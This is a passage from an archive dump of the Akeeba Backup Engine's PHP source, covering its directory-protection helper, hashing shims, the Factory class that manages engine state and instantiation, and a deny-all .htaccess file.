		// Create a default index.php to prevent directory listings with an error (all servers)
		if (!is_file($dir . '/index.php') || $force)
		{
			$deadPHP = '<' . '?' . 'php header(\'HTTP/1.1 403 Forbidden\'); return;' . '?' . ">\n";
			$deadPHP .= <<< TEXT
This file was generated automatically by the Akeeba Backup Engine

DO NOT REMOVE THIS FILE

This file tells your web server to not list the contents of this directory, instead returning an HTTP 403 Forbidden
error. This makes it implausible for a malicious third party to successfully guess the filenames of your backup
archives. Therefore, even if this folder is directly web accessible – despite the .htaccess and web.config file already
put in place by the Akeeba Backup Engine – it will still be reasonably protected against malicious users trying to
download your backup archives.

Please do not remove this file as it could have security implications for your site.

You are strongly advised to never delete or modify any of the files automatically created in this folder by the
Akeeba Backup Engine, namely:

* .htaccess
* web.config
* index.html
* index.htm
* index.php

TEXT;

			@file_put_contents($dir . '/index.php', $deadPHP);
		}
	}

	/**
	 * Convert a string to a (Unicode) slug
	 *
	 * @param   string  $string  String to process
	 *
	 * @return  string  Processed string
	 *
	 * @since   7.5.0
	 */
	public function stringUrlUnicodeSlug(string $string): string
	{
		// Replace double byte whitespaces by single byte (East Asian languages)
		$str = preg_replace('/\xE3\x80\x80/', ' ', $string);

		// Remove any '-' from the string as they will be used as concatenator.
		$str = str_replace('-', ' ', $str);

		// Replace forbidden characters by whitespaces
		$str = preg_replace('#[:\?\#\*"@+=;!><&\.%()\]\/\'\\\\|\[]#', "\x20", $str);

		// Delete all '?'
		$str = str_replace('?', '', $str);

		// Trim white spaces at beginning and end of alias and make lowercase
		$str = trim(strtolower($str));

		// Remove any duplicate whitespace and replace whitespaces by hyphens
		$str = preg_replace('#\x20+#', '-', $str);

		return $str;
	}

}
com_akeeba/BackupEngine/Util/HashTrait.php000060400000006042152455305260014467 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

/**
 * PHP 8.4+ workaround for standalone MD5 and SHA-1 functions.
 *
 * PHP 8.4 deprecates the standalone md5(), md5_file(), sha1(), and sha1_file() functions. This trait creates shims
 * which use the hash() and hash_file() functions instead where available.
 *
 * IMPORTANT! PHP 7.4 made the ext/hash extension mandatory. These shims are here only as a backwards compatibility aid.
 * Eventually, we need to remove them, replacing their use by the direct use of hash() and hash_file().
 *
 * @deprecated 10.0
 */
trait HashTrait
{
	/**
	 * @deprecated 10.0 Use hash() instead
	 */
	private static function md5($string, $binary = false)
	{
		static $shouldUseHash = null;

		if ($shouldUseHash === null)
		{
			$shouldUseHash = function_exists('hash')
			                 && function_exists('hash_algos')
			                 && in_array('md5', hash_algos());
		}

		return $shouldUseHash ? hash('md5', $string, $binary) : md5($string, $binary);
	}

	/**
	 * @deprecated 10.0 Use hash() instead
	 */
	private static function sha1($string, $binary = false)
	{
		static $shouldUseHash = null;

		if ($shouldUseHash === null)
		{
			$shouldUseHash = function_exists('hash')
			                 && function_exists('hash_algos')
			                 && in_array('sha1', hash_algos());
		}

		return $shouldUseHash ? hash('sha1', $string, $binary) : sha1($string, $binary);
	}

	/**
	 * @deprecated 10.0 Use hash_file() instead
	 */
	private static function md5_file($filename, $binary = false)
	{
		static $shouldUseHash = null;

		if ($shouldUseHash === null)
		{
			$shouldUseHash = function_exists('hash')
			                 && function_exists('hash_algos')
			                 && in_array('md5', hash_algos());
		}

		return $shouldUseHash ? hash_file('md5', $filename, $binary) : md5_file($filename, $binary);
	}

	/**
	 * @deprecated 10.0 Use hash_file() instead
	 */
			private static function sha1_file($filename, $binary = false)
	{
		static $shouldUseHash = null;

		if ($shouldUseHash === null)
		{
			$shouldUseHash = function_exists('hash')
			                 && function_exists('hash_algos')
			                 && in_array('sha1', hash_algos());
		}

		return $shouldUseHash ? hash_file('sha1', $filename, $binary) : sha1_file($filename, $binary);
	}
}com_akeeba/BackupEngine/Factory.php000060400000072102152455305260013272 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Core\Database;
use Akeeba\Engine\Core\Filters;
use Akeeba\Engine\Core\Kettenrad;
use Akeeba\Engine\Core\Timer;
use Akeeba\Engine\Driver\Base;
use Akeeba\Engine\Dump\Native;
use Akeeba\Engine\Postproc\PostProcInterface;
use Akeeba\Engine\Util\ConfigurationCheck;
use Akeeba\Engine\Util\Encrypt;
use Akeeba\Engine\Util\EngineParameters;
use Akeeba\Engine\Util\FactoryStorage;
use Akeeba\Engine\Util\FileLister;
use Akeeba\Engine\Util\FileSystem;
use Akeeba\Engine\Util\Logger;
use Akeeba\Engine\Util\PushMessagesInterface;
use Akeeba\Engine\Util\RandomValue;
use Akeeba\Engine\Util\SecureSettings;
use Akeeba\Engine\Util\Statistics;
use Akeeba\Engine\Util\TemporaryFiles;
use DateTime;
use DateTimeZone;
use Exception;
use RuntimeException;

// Try to kill errors display
if (function_exists('ini_set') && !defined('AKEEBADEBUG'))
{
	ini_set('display_errors', false);
}

// Make sure the class autoloader is loaded
require_once __DIR__ . '/Autoloader.php';

/**
 * The Akeeba Engine Factory class
 *
 * This class is responsible for instantiating all Akeeba Engine classes
 */
abstract class Factory
{
	/**
	 * The absolute path to Akeeba Engine's installation
	 *
	 * @var  string
	 */
	private static $root;

	/**
	 * Partial class names of the loaded engines e.g. 'archiver' => 'Archiver\\Jpa'. Survives serialization.
	 *
	 * @var  array
	 */
	private static $engineClassnames = [];

	/**
	 * A list of instantiated objects which will persist after serialisation / unserialisation
	 *
	 * @var   array
	 */
	private static $objectList = [];

	/**
	 * A list of instantiated objects which will NOT persist after serialisation / unserialisation
	 *
	 * @var   array
	 */
	private static $temporaryObjectList = [];

	/**
	 * The class to use for push messages
	 *
	 * @since 9.3.1
	 * @var   string
	 */
	private static $pushClassName = 'Util\\PushMessages';

	/**
	 * Gets a serialized snapshot of the Factory for safekeeping (hibernate)
	 *
	 * @return  string  The serialized snapshot of the Factory
	 */
	public static function serialize(): string
	{
		// Call _onSerialize in all objects known to the factory
		foreach (static::$objectList as $object)
		{
			if (method_exists($object, '_onSerialize'))
			{
				call_user_func([$object, '_onSerialize']);
			}
		}

		// Serialise an array with all the engine information
		$engineInfo = [
			'root'             => static::$root,
			'objectList'       => static::$objectList,
			'engineClassnames' => static::$engineClassnames,
			'pushClassname'    => static::$pushClassName,
		];

		// Serialize the factory
		return base64_encode(serialize($engineInfo));
	}

	/**
	 * Regenerates the full Factory state from a serialized snapshot (resume)
	 *
	 * @param   string  $serializedData  The serialized snapshot to resume from
	 *
	 * @return  void
	 */
	public static function unserialize(string $serializedData): void
	{
		static::nuke();

		$engineInfo = unserialize(base64_decode($serializedData));

		static::$root                = $engineInfo['root'] ?? '';
		static::$objectList          = $engineInfo['objectList'] ?? [];
		static::$engineClassnames    = $engineInfo['engineClassnames'] ?? [];
		static::$pushClassName       = $engineInfo['pushClassname'] ?? 'Utils\\PushMessages';
		static::$temporaryObjectList = [];
	}

	/**
	 * Reset the internal factory state, freeing all previously created objects
	 *
	 * @return  void
	 */
	public static function nuke()
	{
		foreach (static::$objectList as &$object)
		{
			$object = null;
		}

		foreach (static::$temporaryObjectList as &$object)
		{
			$object = null;
		}

		static::$objectList          = [];
		static::$temporaryObjectList = [];
	}

	/**
	 * Saves the engine state to temporary storage
	 *
	 * @param   string|null  $tag       The backup origin to save. Leave empty to get from already loaded Kettenrad
	 *                                  instance.
	 * @param   string|null  $backupId  The backup ID to save. Leave empty to get from already loaded Kettenrad
	 *                                  instance.
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException  When the state save fails for any reason
	 * @noinspection PhpUnused
	 */
	public static function saveState(?string $tag = null, ?string $backupId = null): void
	{
		$kettenrad = static::getKettenrad();
		$tag       = $tag ?: $kettenrad->getTag();
		$backupId  = $backupId ?: $kettenrad->getBackupId();

		$saveTag = rtrim($tag . '.' . ($backupId ?: ''), '.');
		$ret     = $kettenrad->getStatusArray();

		if ($ret['HasRun'] == 1)
		{
			Factory::getLog()->debug("Will not save a finished Kettenrad instance");

			return;
		}

		Factory::getLog()->debug("Saving Kettenrad instance $tag");

		// Save a Factory snapshot
		$factoryStorage = static::getFactoryStorage();

		$logger = static::getLog();
		$logger->resetWarnings();

		$serializedFactoryData = static::serialize();
		$memoryFileExtension   = 'php';
		$result                = $factoryStorage->set($serializedFactoryData, $saveTag, $memoryFileExtension);

		/**
		 * Some hosts, such as WPEngine, do not allow us to save the memory files in .php files. In this case we use the
		 * far more insecure .dat extension.
		 */
		if ($result === false)
		{
			$memoryFileExtension = 'dat';
			$result              = $factoryStorage->set($serializedFactoryData, $saveTag, $memoryFileExtension);
		}

		if ($result === false)
		{
			$saveKey      = $factoryStorage->get_storage_filename($saveTag, $memoryFileExtension);
			$errorMessage = "Cannot save factory state in storage, storage filename $saveKey";

			$logger->error($errorMessage);

			throw new RuntimeException($errorMessage);
		}
	}

	/**
	 * Loads the engine state from the storage (if it exists).
	 *
	 * When failIfMissing is true (default) an exception will be thrown if the memory file / database record is no
	 * longer there. This is a clear indication of an issue with the storage engine, e.g. the host deleting the memory
	 * files in the middle of the backup step. Therefore, we'll switch the storage engine type before throwing the
	 * exception.
	 *
	 * When failIfMissing is false we do NOT throw an exception. Instead, we do a hard reset of the backup factory. This
	 * is required by the resetState method when we ask it to reset multiple origins at once.
	 *
	 * @param   string|null  $tag            The backup origin to load
	 * @param   string|null  $backupId       The backup ID to load
	 * @param   bool         $failIfMissing  Throw an exception if the memory data is no longer there
	 *
	 * @return  void
	 */
	public static function loadState(?string $tag = null, ?string $backupId = null, bool $failIfMissing = true): void
	{
		/** @noinspection PhpUndefinedConstantInspection */
		$tag     = $tag ?: (defined('AKEEBA_BACKUP_ORIGIN') ? AKEEBA_BACKUP_ORIGIN : 'backend');
		$loadTag = rtrim($tag . '.' . ($backupId ?: ''), '.');

		// In order to load anything, we need to have the correct profile loaded. Let's assume
		// that the latest backup record in this tag has the correct profile number set.
		$config = static::getConfiguration();

		if (empty($config->activeProfile))
		{
			$profile = Platform::getInstance()->get_active_profile();

			if (empty($profile) || ($profile <= 1))
			{
				// Only bother loading a configuration if none has been already loaded
				$filters = [
					['field' => 'tag', 'value' => $tag],
				];

				if (!empty($backupId))
				{
					$filters[] = ['field' => 'backupid', 'value' => $backupId];
				}

				$statList = Platform::getInstance()->get_statistics_list([
						'filters' => $filters, 'order' => [
							'by' => 'id', 'order' => 'DESC',
						],
					]
				);

				if (is_array($statList))
				{
					$stat    = array_pop($statList) ?? [];
					$profile = $stat['profile_id'] ?? 1;
				}
			}

			Platform::getInstance()->load_configuration($profile);
		}

		$profile = $config->activeProfile;

		Factory::getLog()->open($loadTag);
		Factory::getLog()->debug("Kettenrad :: Attempting to load from database ($tag) [$loadTag]");

		$serializedFactory = static::getFactoryStorage()->get($loadTag);

		if ($serializedFactory === null)
		{
			if ($failIfMissing)
			{
				throw new RuntimeException("Akeeba Engine detected a problem while saving temporary data. Please restart your backup.", 500);
			}

			// There is no serialized factory. Nuke the in-memory factory.
			Factory::getLog()->debug(" -- Stored Akeeba Factory ($tag) [$loadTag] not found - hard reset");
			static::nuke();
			Platform::getInstance()->load_configuration($profile);
		}
		else
		{
			Factory::getLog()->debug(" -- Loaded stored Akeeba Factory ($tag) [$loadTag]");
			static::unserialize($serializedFactory);
		}


		unset($serializedFactory);
	}

	// ========================================================================
	// Public factory interface
	// ========================================================================

	/**
	 * Resets the engine state, wiping out any pending backups and/or stale temporary data.
	 *
	 * The configuration parameters are:
	 *
	 * * global  `bool`  True to reset all backups, regardless of the origin or profile ID
	 * * log     `bool`  True to log our actions (default: false)
	 * * maxrun  `int`   Only backup records older than this number of seconds will be reset (default: 180)
	 *
	 * Special considerations:
	 *
	 * * If global = true all backups from all origins are taken into account to determine which ones are stuck (over
	 *   the maxrun threshold since their last database entry).
	 *
	 * * If global = false only backups from the current backup origin are taken into account.
	 *
	 * * If global = false AND the current origin is 'backend' all pending and idle backups with the 'backup' origin are
	 *   considered stuck regardless of their age. In other words, maxrun is effectively set to 0. The idea is that only
	 *   a single person, from a single browser, should be taking backend backups at a time. Resetting single origin
	 *   backups is only ever meant to be called by the consumer when starting a backup.
	 *
	 * * Corollary to the above: starting a frontend, CLI or JSON API backup with the same backup profile DOES NOT reset
	 *   a previously failed backup if the new backup starts less than 'maxrun' seconds since the last step of the
	 *   failed backup started.
	 *
	 * * The time information for the backup age is taken from the database, namely the backupend field. If no time
	 *   is recorded for the last step we use the backupstart field instead.
	 *
	 * @param   array  $config  Configuration parameters for the reset operation
	 *
	 * @return  void
	 * @throws  Exception
	 * @noinspection PhpUnused
	 */
	public static function resetState(array $config = []): void
	{
		$defaultConfig = [
			'global' => true,
			'log'    => false,
			'maxrun' => 180,
		];

		$config = (object) array_merge($defaultConfig, $config);

		// Pause logging if so desired
		if (!$config->log)
		{
			Factory::getLog()->pause();
		}

		// Get the origin to clear, depending on the 'global' setting
		$originTag = $config->global ? null : Platform::getInstance()->get_backup_origin();

		// Cache the factory before proceeding
		$factory = static::serialize();

		// Get all running backups for the selected origin (or all origins, if global was false).
		$runningList = Platform::getInstance()->get_running_backups($originTag);

		// Sanity check
		if (!is_array($runningList))
		{
			$runningList = [];
		}

		// If the current origin is 'backend' we assume maxrun = 0 per the method docblock notes.
		$maxRun = ($originTag == 'backend') ? 0 : $config->maxrun;

		// Filter out entries by backup age
		$now         = time();
		$cutOff      = $now - $maxRun;
		$runningList = array_filter($runningList, function (array $running) use ($cutOff, $maxRun) {
			// No cutoff time: include all currently running backup records
			if ($maxRun == 0)
			{
				return true;
			}

			// Try to get the last backup tick timestamp
			try
			{
				$backupTickTime = !empty($running['backupend']) ? $running['backupend'] : $running['backupstart'];
				$tz             = new DateTimeZone('UTC');
				$tstamp         = (new DateTime($backupTickTime, $tz))->getTimestamp();
			}
			catch (Exception $e)
			{
				$tstamp = Factory::getLog()->getLastTimestamp($running['origin']);
			}

			if (is_null($tstamp))
			{
				return false;
			}

			// Only include still running backups whose last tick was BEFORE the cutoff time
			return $tstamp <= $cutOff;
		});

		// Mark running backups as failed
		foreach ($runningList as $running)
		{
			// Delete the failed backup's leftover archive parts
			$filenames = Factory::getStatistics()->get_all_filenames($running, false);
			$filenames = is_null($filenames) ? [] : $filenames;
			$totalSize = 0;

			foreach ($filenames as $failedArchive)
			{
				if (!@file_exists($failedArchive))
				{
					continue;
				}

				$totalSize += (int) @filesize($failedArchive);
				Platform::getInstance()->unlink($failedArchive);
			}

			// Mark the backup failed
			$running['status']     = 'fail';
			$running['instep']     = 0;
			$running['total_size'] = empty($running['total_size']) ? $totalSize : $running['total_size'];
			$running['multipart']  = 0;

			Platform::getInstance()->set_or_update_statistics($running['id'], $running);

			// Remove the temporary data
			$backupId = isset($running['backupid']) ? ('.' . $running['backupid']) : '';

			self::removeTemporaryData($running['origin'] . $backupId);
		}

		// Reload the factory
		static::unserialize($factory);
		unset($factory);

		// Unpause logging if it was previously paused
		if (!$config->log)
		{
			Factory::getLog()->unpause();
		}
	}

	/**
	 * Returns an Akeeba Configuration object
	 *
	 * @return  Configuration  The Akeeba Configuration object
	 */
	public static function getConfiguration(): Configuration
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance(Configuration::class);
	}

	/**
	 * Returns a statistics object, used to track current backup's progress
	 *
	 * @return  Statistics
	 */
	public static function getStatistics(): Statistics
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance(Statistics::class);
	}

	/**
	 * Returns the currently configured archiver engine
	 *
	 * @param   bool  $reset  Should I try to forcibly create a new instance?
	 *
	 * @return  Archiver\Base|null
	 */
	public static function getArchiverEngine(bool $reset = false): ?Archiver\Base
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getEngineInstance(
			'archiver', 'akeeba.advanced.archiver_engine',
			'Archiver\\', 'Archiver\\Jpa',
			$reset
		);
	}

	/**
	 * Returns the currently configured dump engine
	 *
	 * @param   boolean  $reset  Should I try to forcibly create a new instance?
	 *
	 * @return  Dump\Base|Native|null
	 */
	public static function getDumpEngine(bool $reset = false): ?object
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getEngineInstance(
			'dump', 'akeeba.advanced.dump_engine',
			'Dump\\', 'Dump\\Native',
			$reset
		);
	}

	/**
	 * Returns the filesystem scanner engine instance
	 *
	 * @param   bool  $reset  Should I try to forcibly create a new instance?
	 *
	 * @return  Scan\Base|null  The scanner engine
	 */
	public static function getScanEngine(bool $reset = false): ?Scan\Base
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getEngineInstance(
			'scan', 'akeeba.advanced.scan_engine',
			'Scan\\', 'Scan\\Large',
			$reset
		);
	}

	/**
	 * Returns the current post-processing engine. If no class is specified we
	 * return the post-processing engine configured in akeeba.advanced.postproc_engine
	 *
	 * @param   string|null  $engine  The name of the post-processing class to forcibly return
	 *
	 * @return  PostProcInterface|null
	 */
	public static function getPostprocEngine(?string $engine = null): ?PostProcInterface
	{
		if (!is_null($engine))
		{
			static::$engineClassnames['postproc'] = 'Postproc\\' . ucfirst($engine);

			/** @noinspection PhpIncompatibleReturnTypeInspection */
			return static::getObjectInstance(static::$engineClassnames['postproc']);
		}

		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getEngineInstance(
			'postproc', 'akeeba.advanced.postproc_engine',
			'Postproc\\', 'Postproc\\None',
			true
		);
	}

	// ========================================================================
	// Core objects which are part of the engine state
	// ========================================================================

	/**
	 * Returns an instance of the Filters feature class
	 *
	 * @return  Filters  The Filters feature class' object instance
	 */
	public static function getFilters(): Filters
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance(Filters::class);
	}

	/**
	 * Returns an instance of the specified filter group class. Do note that it does not
	 * work with platform filter classes. They are handled internally by AECoreFilters.
	 *
	 * @param   string  $filter_name  The filter class to load, without AEFilter prefix
	 *
	 * @return  Filter\Base|null  The filter class' object instance
	 */
	public static function getFilterObject(string $filter_name): ?Filter\Base
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance('Filter\\' . ucfirst($filter_name));
	}

	/**
	 * Loads an engine domain class and returns its associated object
	 *
	 * @param   string  $domainName  The name of the domain, e.g. installer for AECoreDomainInstaller
	 *
	 * @return  Part|null
	 */
	public static function getDomainObject(string $domainName): ?Part
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance('Core\\Domain\\' . ucfirst($domainName));
	}

	/**
	 * Returns a database connection object. It's an alias of AECoreDatabase::getDatabase()
	 *
	 * !!! IMPORTANT !!!
	 * DO NOT STATIC TYPE THIS METHOD.
	 *
	 * Akeeba Backup for Joomla is using a decorator to the Joomla DB object which makes use of the magic __call method
	 * to proxy driver calls. As a result it cannot adhere to an object declaration or interface. Until this is
	 * refactored we have to keep this method untyped.
	 *
	 * @param   array|null  $options  Options to use when instantiating the database connection
	 *
	 * @return  Base
	 */
	public static function getDatabase(?array $options = null)
	{
		if (is_null($options))
		{
			$options = Platform::getInstance()->get_platform_database_options();
		}

		if (isset($options['username']) && !isset($options['user']))
		{
			$options['user'] = $options['username'];
		}

		return Database::getDatabase($options);
	}

	/**
	 * Returns a database connection object. It's an alias of AECoreDatabase::getDatabase()
	 *
	 * @param   array|null  $options  Options to use when instantiating the database connection
	 *
	 * @return  void
	 */
	public static function unsetDatabase(?array $options = null): void
	{
		if (is_null($options))
		{
			$options = Platform::getInstance()->get_platform_database_options();
		}

		$db = Database::getDatabase($options);
		$db->close();

		Database::unsetDatabase($options);
	}

	/**
	 * Get a reference to the Akeeba Engine's timer
	 *
	 * @return  Timer
	 */
	public static function getTimer(): Timer
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance(Timer::class);
	}

	/**
	 * Get a reference to Akeeba Engine's main controller called Kettenrad
	 *
	 * @return  Kettenrad
	 */
	public static function getKettenrad(): Kettenrad
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance(Kettenrad::class);
	}

	/**
	 * Returns an instance of the factory temporary storage class
	 *
	 * @return  FactoryStorage
	 */
	public static function getFactoryStorage(): FactoryStorage
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(FactoryStorage::class);
	}

	/**
	 * Returns an instance of the encryption class
	 *
	 * @return  Encrypt
	 */
	public static function getEncryption(): Encrypt
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(Encrypt::class);
	}

	/**
	 * Returns an instance of the crypto-safe random value generator class
	 *
	 * @return  RandomValue
	 */
	public static function getRandval(): RandomValue
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(RandomValue::class);
	}

	/**
	 * Returns an instance of the filesystem tools class
	 *
	 * @return  FileSystem
	 */
	public static function getFilesystemTools(): FileSystem
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(FileSystem::class);
	}

	/**
	 * Returns an instance of the filesystem tools class
	 *
	 * @return  FileLister
	 * @noinspection PhpUnused
	 */
	public static function getFileLister(): FileLister
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(FileLister::class);
	}

	// ========================================================================
	// Temporary objects which are not part of the engine state
	// ========================================================================

	/**
	 * Returns an instance of the engine parameters provider which provides information on scripting, GUI configuration
	 * elements and engine parts
	 *
	 * @return  EngineParameters
	 */
	public static function getEngineParamsProvider(): EngineParameters
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(EngineParameters::class);
	}

	/**
	 * Returns an instance of the log object
	 *
	 * @return  Logger
	 */
	public static function getLog(): Logger
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(Logger::class);
	}

	/**
	 * Returns an instance of the configuration checks object
	 *
	 * @return  ConfigurationCheck
	 */
	public static function getConfigurationChecks(): ConfigurationCheck
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(ConfigurationCheck::class);
	}

	/**
	 * Returns an instance of the secure settings handling object
	 *
	 * @return  SecureSettings
	 */
	public static function getSecureSettings(): SecureSettings
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(SecureSettings::class);
	}

	/**
	 * Returns an instance of the secure settings handling object
	 *
	 * @return  TemporaryFiles
	 */
	public static function getTempFiles(): TemporaryFiles
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(TemporaryFiles::class);
	}

	/**
	 * Get the connector object for push messages
	 *
	 * !!! WARNING !!! DO NOT STATIC TYPE
	 *
	 * The object type may change using setPushClass.
	 *
	 * @return  PushMessagesInterface
	 */
	public static function getPush()
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance(self::$pushClassName);
	}

	/**
	 * Set the push notifications helper class to use with this factory
	 *
	 * @param   string  $className  The classname to use
	 *
	 * @since   9.3.1
	 * @noinspection PhpUnused
	 */
	public static function setPushClass(string $className): void
	{
		self::$pushClassName = $className;
	}

	/**
	 * Returns the absolute path to Akeeba Engine's installation
	 *
	 * @return  string
	 */
	public static function getAkeebaRoot(): string
	{
		if (empty(static::$root))
		{
			static::$root = __DIR__;
		}

		return static::$root;
	}

	/**
	 * @param   string  $engineType  Engine type, e.g. 'archiver', 'postproc', ...
	 * @param   string  $configKey   Profile config key with configured engine e.g. 'akeeba.advanced.archiver_engine'
	 * @param   string  $prefix      Prefix for engine classes, e.g. 'Archiver\\'
	 * @param   string  $fallback    Fallback class if the configured one doesn't exist e.g. 'Archiver\\Jpa'. Empty for
	 *                               no fallback.
	 * @param   bool    $reset       Should I force-reload the engine? Default: false.
	 *
	 * @return  object|null  The Singleton engine object instance
	 */
	protected static function getEngineInstance(string $engineType, string $configKey, string $prefix, string $fallback, bool $reset = false): ?object
	{
		if (!$reset && !empty(static::$engineClassnames[$engineType]))
		{
			return static::getObjectInstance(static::$engineClassnames[$engineType]);
		}

		// Unset the existing engine object
		if (!empty(static::$engineClassnames[$engineType]))
		{
			static::unsetObjectInstance(static::$engineClassnames[$engineType]);
		}

		// Get the engine name from the backup profile, construct a class name and check if it exists
		$registry                              = static::getConfiguration();
		$engine                                = $registry->get($configKey);
		static::$engineClassnames[$engineType] = $prefix . ucfirst($engine);
		$object                                = static::getObjectInstance(static::$engineClassnames[$engineType]);

		// If the engine object does not exist, fall back to the default
		if (!empty($fallback) && !is_object($object))
		{
			static::unsetObjectInstance(static::$engineClassnames[$engineType]);

			static::$engineClassnames[$engineType] = $fallback;
		}

		return static::getObjectInstance(static::$engineClassnames[$engineType]);
	}

	/**
	 * Internal function which instantiates an object of a class named $class_name.
	 *
	 * @param   string  $className
	 *
	 * @return  object|null
	 */
	protected static function getObjectInstance(string $className): ?object
	{
		$className = trim($className, '\\');

		if (substr($className, 0, 14) === 'Akeeba\\Engine\\')
		{
			$searchClass = $className;
			$className = substr($className, 14);
		}
		else
		{
			$searchClass = '\\Akeeba\\Engine\\' . $className;
		}

		if (isset(static::$objectList[$className]))
		{
			return static::$objectList[$className];
		}

		static::$objectList[$className] = null;

		if (class_exists($searchClass))
		{
			static::$objectList[$className] = new $searchClass;
		}
		elseif (class_exists($className))
		{
			static::$objectList[$className] = new $className;
		}

		return static::$objectList[$className];
	}

	// ========================================================================
	// Handy functions
	// ========================================================================

	/**
	 * Internal function which removes the object of the class named $class_name
	 *
	 * @param   string  $className
	 *
	 * @return  void
	 */
	protected static function unsetObjectInstance(string $className): void
	{
		if (substr($className, 0, 14) === 'Akeeba\\Engine\\')
		{
			$className = substr($className, 14);
		}

		if (isset(static::$objectList[$className]))
		{
			static::$objectList[$className] = null;
			unset(static::$objectList[$className]);
		}
	}

	/**
	 * Internal function which instantiates an object of a class named $class_name. This is a temporary instance which
	 * will not survive serialisation and subsequent unserialisation.
	 *
	 * @param   string  $className
	 *
	 * @return  object|null
	 */
	protected static function getTempObjectInstance(string $className): ?object
	{
		$className = trim($className, '\\');

		if (substr($className, 0, 14) === 'Akeeba\\Engine\\')
		{
			$searchClass = $className;
			$className = substr($className, 14);
		}
		else
		{
			$searchClass = '\\Akeeba\\Engine\\' . $className;
		}

		if (!isset(static::$temporaryObjectList[$className]))
		{
			static::$temporaryObjectList[$className] = null;

			if (class_exists($searchClass))
			{
				static::$temporaryObjectList[$className] = new $searchClass;
			}
		}

		return static::$temporaryObjectList[$className];
	}

	/**
	 * Remote the temporary data for a specific backup tag.
	 *
	 * @param   string  $originTag  The backup tag to reset e.g. 'backend.id123' or 'frontend'.
	 *
	 * @return  void
	 */
	protected static function removeTemporaryData(string $originTag): void
	{
		static::loadState($originTag, null, false);
		// Remove temporary files
		Factory::getTempFiles()->deleteTempFiles();
		// Delete any stale temporary data
		static::getFactoryStorage()->reset($originTag);
	}
}

/**
 * Timeout handler. It is registered as a global PHP shutdown function.
 *
 * If a PHP reports a timeout we will log this before letting PHP kill us.
 */
function AkeebaTimeoutTrap(): void
{
	if (connection_status() >= 2)
	{
		Factory::getLog()->error('Akeeba Engine has timed out');
	}
}

register_shutdown_function("\\Akeeba\\Engine\\AkeebaTimeoutTrap");
com_akeeba/BackupEngine/.htaccess000060400000000246152455305260012750 0ustar00<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
com_akeeba/BackupEngine/FixMySQLHostname.php000060400000016172152455305260015003 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine;

defined('AKEEBAENGINE') || die();

trait FixMySQLHostname
{
	/**
	 * Tries to parse all the weird hostname definitions and normalize them into something that the MySQLi connector
	 * will understand. Please note that there are some differences to the old MySQL driver:
	 *
